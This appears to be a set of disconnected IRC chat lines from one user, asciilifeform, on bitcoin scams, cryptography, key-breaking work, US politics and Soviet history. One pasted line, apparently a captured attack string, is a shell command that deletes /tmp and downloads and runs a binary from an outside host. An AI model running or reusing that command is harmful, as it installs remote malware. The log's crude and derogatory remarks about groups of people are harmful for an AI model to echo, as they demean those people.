asciilifeform: in other lulz, the various gold chumpatrons must really be hard up for chumpz
asciilifeform: but the 'bitcoin == scam' isn't even wholly unreasonable for aboriginal whose entire experience of 'electronic money' has been chumpatronic
asciilifeform: but i suspect that ~all american 'nonprofits' operate some variant of this chumpatron.
asciilifeform: 'You know how mentally limited people who agree to work for vague international companies doing the "clerical work" of cashing checks end up with a visit from the police ? ' ( http://trilema.com/2015/thattommyhall-that-kickstarter-scamsite-this-internet-life/#selection-125.2-125.173 )
asciilifeform: incidentally -$8k of cc doesn't conclusively prove this scheme, it is common for us corp to pump purchases through a cc for bureaucratic reasons
asciilifeform: incidentally in usa if someone is employed as 'contractor' there is no payroll tax reflected in corp statement.
asciilifeform: sounds like they employ 2-3 people.
asciilifeform: had links to something claiming to be detailed audit dumps but i can't be arsed.
asciilifeform: mircea_popescu is probably still thinking of yudkowsky as a rich man, even if in the lottery sense. but he is actually, in effect, an employee - simply a very highly-compensated one
asciilifeform: who wrecked their empire.
asciilifeform: mircea_popescu: i also missed this when it happened, but it imploded.
asciilifeform: but i actually have nfi if that particular chumpatron is still rollin'. all i ever knew of it was from the mr mold film linked earlier.
asciilifeform: hello fromphuctor !
asciilifeform: $up fromphuctor
asciilifeform: naturally. lamps.
asciilifeform: esp in a climate with <0 temps
asciilifeform: one simple example that i played with in the winter is 'graph clique problem'
asciilifeform: which is why there are entire encyclopaedias of np-complete problems, but none of them have been used in a working cryptosystem
asciilifeform: particular case can be as simple as you like.
asciilifeform: i still can't fully swallow how there is this entire field that isn't certain whether it exists or is simply smelling own farts.
asciilifeform: but it'll have to be a) something you can actually do repeatably on a digital computer + b) based on some reasonably compact hardness assumption
asciilifeform: 'What the 66-year-old Massachusetts man didn't know then is that he would spend the next 6 ½ years embroiled in a complicated and confusing legal dispute in Indiana over that printer, which, according to its buyer, was broken. He would find himself liable for about $30,000 in damages. He would pay a lawyer at least $12,000 in his battle to escape the legal mess. And it all started with a piece of hardware he sold online for about $4
asciilifeform: one obvious possibility is that he had second thoughts re pushing the tor chumpatron.
asciilifeform: in more interesting nyooz, the tel aviv tempest folks are at it again, http://m.cacm.acm.org/magazines/2016/6/202646-physical-key-extraction-attacks-on-pcs/fulltext
asciilifeform: 'Central to Mead's rescue project are a series of discoveries inconsistent with the prevailing conceptions of quantum mechanics. One was the laser. As late as 1956, Bohr and Von Neumann, the paragons of quantum theory, arrived at the Columbia laboratories of Charles Townes, who was in the process of describing his invention. With the transistor, the laser is one of the most important inventions of the twentieth century. Designed into
asciilifeform not mega-expert on dopes but is aware that certain types bring about excitability and amplify existing inclinations; others - torpor, lethargy, and a sort of living death
asciilifeform: they gave distinct impression of labouring under a notion that 'our thing will be different because we can keep the Bad People out by being Modest'
asciilifeform: that ~reasonable~ behaviour requires unreasonable degree of complexity.
asciilifeform: mircea_popescu: my contention is not that it is impossible to write proggy that behaves sanely under unix when catches SIGABRT or whatnot, but that the effort required to do so and the verbosity of the resulting code is beyond most folk.
asciilifeform: see again the mempool example.
asciilifeform: the basic plague of c machine is that forces computation into semantic soup.
asciilifeform: do you recall my attempt at forcing trb to flush its mempool?
asciilifeform: BingoBoingo: i've seen them, they simply aren't to be met with regularly anywhere i've been
asciilifeform: $s reach implement
asciilifeform: e.g., the eastern folk are lightyearz ahead in the art of people-packin' as contemplated in mircea_popescu's 'female herd' articles
asciilifeform: and that's SIMPLIFIED chinese we're talking about!
asciilifeform: mircea_popescu is a winner. the euro fictions ~don't~ really compile in cn.
asciilifeform: mutant simply registered as 'yet another key for this name'.
asciilifeform: this example makes 0 sense tho. if i know that martians will devour me in 1 week, i sure as fuck wouldn't work
asciilifeform: but vouched conditionally, had to jump through the burning ring
asciilifeform: once upon a time, mircea_popescu met a cabbie and gave him a broomstick. but original legend did not tell us that he also gave him a 1941 nagan, complete with 'tula' and red star, loaded with 1 round, and the learned man said to the cabbie, 'when you get bored of sitting on the broomstick, here - you can stop'
asciilifeform: 'proof of work' did not prevent snow jobs (consider steven j gould's snow job targeted at 'bell curve', say, or 1,001 other examples)
asciilifeform: detail re books is that at one point there was a certain 'proof of work' implicit in getting the thing on the market.
asciilifeform: possibly not world's best, but is the one willing to tell me about the emperor's bow etc.
asciilifeform: mr mold was a hilarious source of trivia re 100 yrs of usg rot. e.g., how kgb owned state dept., how prestige farming works in detail, etc. none of it original to him, he simply dug up the primary sources, best as he could. hence his nick.
asciilifeform: red to be a conflict of interest with her official NSA duties.) The email, with the subject line, "Vanity Fair Article With Fugitive – May Cause Additional Work," said "the much anticipated Vanity Fair article with the fugitive is out.... Probably the most concerning issue in the article is the fugitives [sic] assertion that he raised complaints with NSA lawyers and oversight and compliance personnel."'
asciilifeform: Framedragger: read the logz, gpg and compatibles are retarded in 101 ways
asciilifeform: this was... what ? walletron ? why would it print 'dumping coins' to stdout ?
asciilifeform: this'd be like attempting riff on pushkin in engl.
asciilifeform at one point was pathologically well informed on jp secondhand, but is emphatically NOT a veteran thereof nor set foot there, and will not comment further
asciilifeform: nobody wants to contemplate that he is pond scum ready for the fermentation reactor
asciilifeform: gotta love the immortal ' magic where people periodically compromise the blockchain and steal money '
asciilifeform: pete_dushenski: i'd like to start adding vertically (there is, e.g., ample room for 2 moar horizontal 16:9s above the left and right pair each) but difficult to found proper mounting arms to make'em align just-so
asciilifeform suffered the company of american ph.d. folk for many years, for a living
asciilifeform: spandrell_: move to usa, here they simply sentence you to starvation via unemployability
asciilifeform: after i declared open jihad against his employer
asciilifeform: interestingly, not 1 of the last 3 phuctor pops, imports in any version of gpg i have.
asciilifeform: it is a great multilayered gag - what is even there to solder on component-side of pc mobo.
asciilifeform: i always liked this example
asciilifeform: the only folks who will read are the idiot grade-school educated 'physicists' who contemplate 'chemtrails'.
asciilifeform: 'having 3 computers is worse than none'
asciilifeform: logic being that icbm was not a pure 'let's build pyramid to show how massive the imperial cock' exercise. it had measurable goals, like building bridge.
asciilifeform: the item in question is 'benevolent inca empire wants to give $billion to physics' but you can't give 'to physics' because that's somewhere between 0 to 3 guys and nobody's gonna give some unwashed weirdos a $b
asciilifeform: massive employment program for adelbergers and their catamites.
asciilifeform: it is flagship example of physics's rotting corpse.
asciilifeform: solid state gyros were implicit in lilienfeld's (yes, 20s!) transistor.
asciilifeform: stamp collecting with 0 idea wtf yer doing and why instantly devolves to demonology.
asciilifeform: aka 'stamp collecting' in feynman's words.
asciilifeform: mircea_popescu: pgpdump -i
asciilifeform: alternatively ben_vulpes could simply build, e.g., ecl, for ios
asciilifeform: shinohai: well-compartmentalized fella
asciilifeform stumped
asciilifeform: something, i expect, quite simple, just put in a JMP over the primality check .
asciilifeform: ergo i expect that trivial keyz were not simply a matter of 'proggy P'.
asciilifeform: http://btcbase.org/log/2016-06-03#1475480 << as is usually the case, mircea_popescu is the grim plague doctor, complete with beak, telling us exactly when death will come - and pretty much always on target.
asciilifeform: http://verysimple.com << still there. but what???
asciilifeform: (why not simply launch rocket from the earth is an exercise for the reader...)
asciilifeform: lel, when ever did mp give out free shitz, you pay in body fluidz
asciilifeform: ;;later tell mircea_popescu sks-2016 sawed apart (took ~30 hrs) and now pumping in.
asciilifeform: the empty hole appears to be for one of those bicycle lock things.
asciilifeform: astonishingly, there is even a jumper.
asciilifeform: i also did not bother to examine the underside of mp, all of the connector pads appear to be on top
asciilifeform: Framedragger: pogo is a small linuxable computer, now out of print
asciilifeform: very impressive mechanically.
asciilifeform: ;;later tell mircea_popescu gonna fire up sks dump circa 2016 shortly.
asciilifeform: BingoBoingo: usaschwitz, like all other slave empires, is ultimately powered by nondischargeable personal debt
asciilifeform: no, but implied !
asciilifeform: this has ~nothing to do with provably placing transform's inversion into a complexity class.
asciilifeform: i.e. problems np-complete in the general case, but very much p in ~every known instance.
asciilifeform examines his spratuary, it is nearly empty
asciilifeform: ^ this was the umpteenth copy of deedbot, also
asciilifeform: http://btcbase.org/log/2016-06-01#1474626 << su had a judicial sentence 'with confiscation of property', which was routinely employed, and included ~all~ property of the condemned. usa presently does not have such a sentence - it has 'proceeds and instruments of the crime', and 'restitution', which amount to ~same thing. and soon will be == de jure.
asciilifeform: complete with yappy-dog.
asciilifeform: http://btcbase.org/log/2016-06-01#1474385 << mircea_popescu whole point is that ~my particular lamp~ is still glowing. (i recently bought one of them tritium lamps, it is a good analogy for this actually)
asciilifeform: from this thread we get a trivial definition of adult cryptosystem: provably unbreakable unless complexity classes collapse.
asciilifeform: it is purely an exercise in 'this stumps me, ergo it is cryptographically hard'
asciilifeform: all we have is a) otp, trivially proven to be impenetrable, high school level exercise b) everything else, being snake oils of varying degrees of toxicity, with c-s being the least noxious known to me presently.
asciilifeform: an adult asymmetric (or symmetric, for that matter) cryptosystem would rely on a mathematical problem of PROVEN complexity class (e.g., np-complete)
asciilifeform: (and i will add that no public implementation wrote it correctly, either.)
asciilifeform: Framedragger: but i ought to emphasize for n00bs, cramer-shoup is merely the healthiest horse at this glue factory.
asciilifeform: trinque: i implemented as per your recipe, it ought to work now ?
asciilifeform: this apparently is an actual thing, some folks were taken down from the trees by mistake, and cannot handle any timed process more complicated than skinning banana
asciilifeform: as a boy i always imagined that chinese parade includes blokes carrying little stools from which they will - together, and seismically calamitously - jump !
asciilifeform: dun like this standard? complain to god of war, not me.
asciilifeform: i don't expect to find a massively improved commercial server anywhere, for the reasons mircea_popescu described.
asciilifeform: (not saying the no-secrets-save-for-sshkey phuctor box is comparable, but simply for argument)
asciilifeform: mircea_popescu: would you tolerate mpex on a box like this ?
asciilifeform: and i imagine it must suck to be the owner of a real airplane landed on cargo cult island, it will promptly be ripped apart for parts to decorate straw planes the moment you look away
asciilifeform: phf: you reminded me of sov legend of some bloke who bought up a buncha 'deficit' bookz, e.g., complete dumas, and put an iron railroad bolt through the stack and then put on shelf, so guests wouldn't try to borrow'em
asciilifeform: relatedly, and hilariously, in sov era, the phrase 'classical education' meant, to educated folks, the imperial ru gymnasium, per old euro spec, with latin and greek. and ~all of the great ru writers, INCLUDING sov era, had this education, were old enough. whereas TODAY 'classical education' in ru refers to sov era school !
asciilifeform: and if it were the year 1850 and a letter that comes in can be presumed to be from a learned gentlemen simply by virtue of being a letter,
asciilifeform: they impose a different kind of cost on trilema.
asciilifeform: to clarify, i am not 'in love with paper' so much as with 'paper whose untampered age i can smell with my nose'
asciilifeform: the rats dampen ~new~ developments.
asciilifeform: http://btcbase.org/log/2016-05-30#1473641 << where do you find this implication ?
asciilifeform: there is also another cost imposed by sewer rats, that is not solvable by technical means
asciilifeform: the sewer rats impose a considerable cost on thinking folk just by being there.
asciilifeform: but i find it hard to see how it is not obvious that 'every sewer rat can publish' is a considerable damper on culture
asciilifeform: long ago i wrote an article re the undisputably higher quality of hardware products vs software, on account of the impossibility of patching hardware
asciilifeform: diana_coman: i am most sympathetic to precisely the 'anyone-can-print killed the book' argument.
asciilifeform: http://btcbase.org/log/2016-05-29#1473465 << dunno if you missed it BingoBoingo, but theoretically i could leave the swamp now.
asciilifeform not looking forward to reswamping
asciilifeform has most of a day before going back to the swamplandz
asciilifeform: all else is, to borrow from feinman, 'stamp collecting '...
asciilifeform: i'm on toy comp
asciilifeform owns the man's complete printed crackpot worx
asciilifeform: to me algebratron is ~half the point of even MAKING computer at all.
asciilifeform: ah at last actual computer.
asciilifeform: mircea_popescu: there's stats and there's stats. avg plane jumper is quite as flat as median jumper...
asciilifeform: all he couldn't do is ~sell it on mpex~, legitly
asciilifeform: which is likewise why not having mpex acct never especially bothered me.
asciilifeform: mp_at_olivos: recall naggum's layout
asciilifeform: woah mp on a heathen machine
asciilifeform: simply that the man is likely laughing all the way to the fiatolade fountain with his 670.
asciilifeform: how could he lift the assets if mp was treasurer ?
asciilifeform: i wanna see mp tour nazitown
asciilifeform: when do we get mp_at_barriloche ?
asciilifeform: $up mp_at_olivos
asciilifeform: <kakobrekla> its how i implemented some of the anti-ddos features - need logs for that
asciilifeform: well recall, i recently learned that nsa has blanket license to piss on 'equal employment' crapolade
asciilifeform: what's the man gonna do if he decides 60k is chump change ? defect to zimbabwe instead ?
asciilifeform: well the interesting bit, iirc, is that it was not 'job interview' in the customary sense, usg had no intention of actually using the fella in the stated capacity, they simply wanted a plausible-looking piece of shit to 'hangout leak' to ir. so they took his, and munged the component values for good measure
asciilifeform: the example currently in my head is the ru nuke detonator bloke
asciilifeform: 'emptied', to somebody running agents, is sort of same as empty applied to bottle of vodka - yes, '40 drops rule', you can keep shaking it and get >0 output almost asymptotically infinitely - but at some point the expense of the effort is > yield
asciilifeform: recall usa pumping out the ru maths, physics, etc folks ?
asciilifeform: the italian painting example actually rings a bell
asciilifeform: in so far as i can tell from my pit, they only need usd, and only need it because of an elaborate chumpatron which encompasses ~everyone
asciilifeform: i don't recall the shithub keys dump having yet been thrown in
asciilifeform: and when it is, we'll simply bernstein in 2 processed, one just with 8ball.
asciilifeform: (treating any key differently from any other would substantially complicate the mechanism)
asciilifeform: ;;later tell phf your search box is not grep-compatible. srlsy for fucks sake i can't search for '3 divides' without getting a pile of rubbish
asciilifeform: megatonnes of old-school 'seals', 'tamper' whatevrthefucks
asciilifeform: birch is terrible example
asciilifeform: the perennial favourite example (as seen in, e.g., orlov, and elsewhere) is bacteria in agar
asciilifeform: bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "-"

asciilifeform: i can picture the symptoms though.
asciilifeform: how does one know that a fella has compromised key ?
asciilifeform: iirc in the l0gz we learned that even straight usg has mpex account(s), and parked coin stolen from its prisoners (e.g., dpr) there.
asciilifeform: i can't speak for others, but a fella being drummed out of mpex with dekulakization is a newsworthy thing imho.
asciilifeform: at one point asciilifeform attempted to contribute to pediwikia, even. was quickly cured of the notion that this was a worthwhile use of time.
asciilifeform: mircea_popescu: the most complicated piece is the www crud
asciilifeform: try to understand how special cases make complexity of a proggy explode.
asciilifeform: in mircea_popescu's picture, is it simply that the termites have gnawed long enough at the support columns ?
asciilifeform: we were doing 'high throughput screening' of compounds from massive library of random crud
asciilifeform: likely it was used simply in manufacture
asciilifeform: the H-bomb. It symbolizes the banality of evil which is the essence of the whole H-bomb business. Workaday people doing workaday jobs building doomsday machines based on 1950's technology, while civilization marches bravely into the new millennium, oblivious to the death sentence imposed by a secret technology involving plastic foam. It calls to mind the most famous line from The Graduate, "One word: plastics."'
asciilifeform: Errata, which I dubbed "exploding styrofoam," the corresponding phrase would be "a gas of electrons." The implosion of the secondary is driven by matter pressure, not radiation pressure. Incidentally, Dow Chemical complained that Styrofoam is a trademark, like Xerox, and that nuclear weapons do not contain Styrofoam. Point conceded; the foam is generic. ... I like the idea of a nuisance material, plastic foam, as the real secret of
asciilifeform: i was specifically citing example of failed technologizing
asciilifeform: anyway i was not there, and cannot say how much the entire story was simply a cover for embezzling half a bil usd
asciilifeform: and eventually had to reverse-engineer old samples and found the missing 'gotta have trace elements x, y, z'
asciilifeform: as it turned out to have a hidden dependence on an impurity which was present in the feedstock at the time
asciilifeform: not simply scale.
asciilifeform: thus far thread seems to compress to a very discouraging http://btcbase.org/log/2016-05-19#1468598 ; mircea_popescu: 'me an' the other wizards got vastly moar powerful!1111' asciilifeform: 'waiwut how' mircea_popescu: 'yer puny brain will never apprehend the smallest part of it'
asciilifeform: but on the other hand it is not wholly impossible to write something meaningful and useful re mathematical creativity.
asciilifeform: there is a less comical example of this, historically - damascus steel.
asciilifeform: this formulation is simply a change of coordinate system
asciilifeform: but the reason i dun see the 'let's 3% tax' as a technical advance, is that it was not a deliberate act, but a concession to collapse of inca empire. it was done ~to~ the folks who did it, like an earthquake.
asciilifeform: not being timeless god on mt olympus, i generally don't do 'absolute firsts'
asciilifeform: all i see is complexity cancer, on which the usual scamvultures feast.
asciilifeform: what did n-way leveraged whateverthefucks improve ?
asciilifeform: http://btcbase.org/log/2016-05-19#1468573 << i'ma bite this bait. tell me, what constructive thing have improvements in finance in past 30y enabled ?
asciilifeform: finance as 'improved since 1980' is precisely chumpatronics.
asciilifeform: mircea_popescu: chumpatronics quite clearly moved forward! yes
asciilifeform: realize that 'golang' is not simply a language, but a set of libraries that is used by pretty much 100% of the extant soft implemented therein
asciilifeform: until very recently i used to think quite like mircea_popescu above, 'sure, i'll read even if implemented in js'
asciilifeform: mircea_popescu: on the contrary, there isn't a reference implementation.
asciilifeform: if anything, leverage pertaining to computer maxed out in '90s
asciilifeform: complexity of what ?
asciilifeform: BUT was restructured as a chumpatron some time quite recently (90s?)
asciilifeform: mircea_popescu: not a matter of temperament, matter of rank
asciilifeform: chump lists are valued at ~epsilon.
asciilifeform: glass ampoule, coated in ZnS inside
asciilifeform: do we have the sr dump churned ? (who was doing this?)
asciilifeform: at one point - in fact, until very recently - i would compulsively dig in and, weeks later, would, e.g., 'yet another google turd'
asciilifeform: and gossipd is considerably more general than a chat, it is to be a complete replacement for tcp/ip and packet switching as ordinarily understood.
asciilifeform: http://btcbase.org/log/2016-05-14#1466468 << important question that perhaps only mircea_popescu could answer: is there a 'background lactation' ?
asciilifeform: sorta implied in 'war' neh?
asciilifeform: hanbot: i showed up at 'balticon' a few times (where i even saw, by pure chance... the infamous eric raymond, limping along)
asciilifeform: having read none of the redditola that presumably prompted it
asciilifeform: 'The government said Monday he should remain jailed indefinitely until he complies. The authorities also said that it's not a violation of the man's Fifth Amendment right against compelled self-incrimination because it's a "foregone conclusion" that illegal porn is on the drives and that he is only being asked to unlock the drives, not divulge their passcodes.
asciilifeform: 'Jean Liu, Didi's president, is the daughter of Liu Chuanzhi, the politically connected founder of Chinese computer maker Lenovo Group Ltd (0992.HK).'
asciilifeform: 'Consistent with the requirements of our agreement with our source, our editors and reporters have carefully examined each document, redacted names of low-level functionaries and other information that could impose serious harm on innocent individuals, and given the NSA an opportunity to comment on the documents to be published (the NSA’s comments resulted in no redactions other than two names of relatively low-level employees that
asciilifeform: the latter - old mpb node spoken of last year
asciilifeform: and promptly ripped out
asciilifeform: but nobody does it for rentals that will be promptly shat in again by the usual clientele.
asciilifeform: (nobody needs to maintain empty thing)
asciilifeform: from the pov of the bezzle artists, empties are just as useful as filled units, they help to prop up price.
asciilifeform: it is just that it is ~impossible to rent a house anywhere else !
asciilifeform: irc is an ancient and simple protocol, and has pretty much 1 serious flaw
asciilifeform: but yes, they still have a good chunk of campus devoted to animals, and fields for 'test crop', etc.
asciilifeform: simpler than this, even, usgocracy has no provision for arbitrary cuts. given as anybody arbitrarily excluded from whatever ends up forming interest group, 'pumping his rights', etc. and buluceala.
asciilifeform: mircea_popescu: well no shit. but the usg variant specifically lacks a mechanism for 'you are competent but sorry we're out of jam'
asciilifeform: they ~will~ have one. it is, to use mircea_popescutronic terminology, simply a question of how thick the spiked club they will be raped with until submitting.
asciilifeform: the third type, included here for completeness, is 'spam school', a straight chumpatron perpetrated largely on uppity proles. formerly cornered by places like 'strayer' but now the big boiz are expanding into the market.
asciilifeform: these are not really schools in the ordinary sense. yes, you can take classes, but it is nearly impossible to flunk, and really admission to, e.g., yale, is equiv. of nomenklatura membership.
asciilifeform: the ottoman empire, iirc, never invented quotas.
asciilifeform: BingoBoingo: similar situation with 'jew quota' in su. 'officially' it never existed. in practice, any serious institute where the management did ~not~ quietly implement one, would rapidly turn ~80% jew and the brass would have to confront party official asking 'why are you running a synagogue here'
asciilifeform: somebody... (vaclav havel ?) had a spiffy essay, long ago, re how inca empires invariably fall into having a set of officiose idiocies, enumerated expressions like this.
asciilifeform: and oregon is piss poor example. better - klondike.
asciilifeform: yeah, factory, office, etc. still 'employs' the 10
asciilifeform: usa of the period was a culturally impoverished zimbabwe
asciilifeform: (and the 'macivory' product that sat in a 68k mac, was simply a card with the smbx cpu in it... no cables at all)
asciilifeform: the largest competitor, aha
asciilifeform: a smbx box actually contained not 1 but ~3~ computers
asciilifeform: fromphuctor: and if i don't ?
asciilifeform: fromphuctor: is it so hard to grasp that the very ~concept~ of a ca is broken ?
asciilifeform: fromphuctor: ssl/tls (and all pki systems of whatever form) is rubbish.
asciilifeform: $up fromphuctor
asciilifeform: aha. forgoing the nagant is quite a presumptious thing. 'i have somethng more to say in the world!1111'
asciilifeform: (you can buy it, even, on ebay, and for some reason the maker saw it fit to sand off the ic tops, implying that there is something to be gained from reversing...)
asciilifeform: at any rate ~temporary~ soldiering is quite a modern thing - old ru conscription was for 25y...
asciilifeform: when i went to ro i had to get 2 different stamps
asciilifeform: idea being that 'stateless' folk are 'victims' with 'rights' and you can't simply get that status artificially on own free will
asciilifeform: thing is, the boss in the link is not a complete idiot, so much as the mere fact of a 'harassment' suit can sink a small firm.
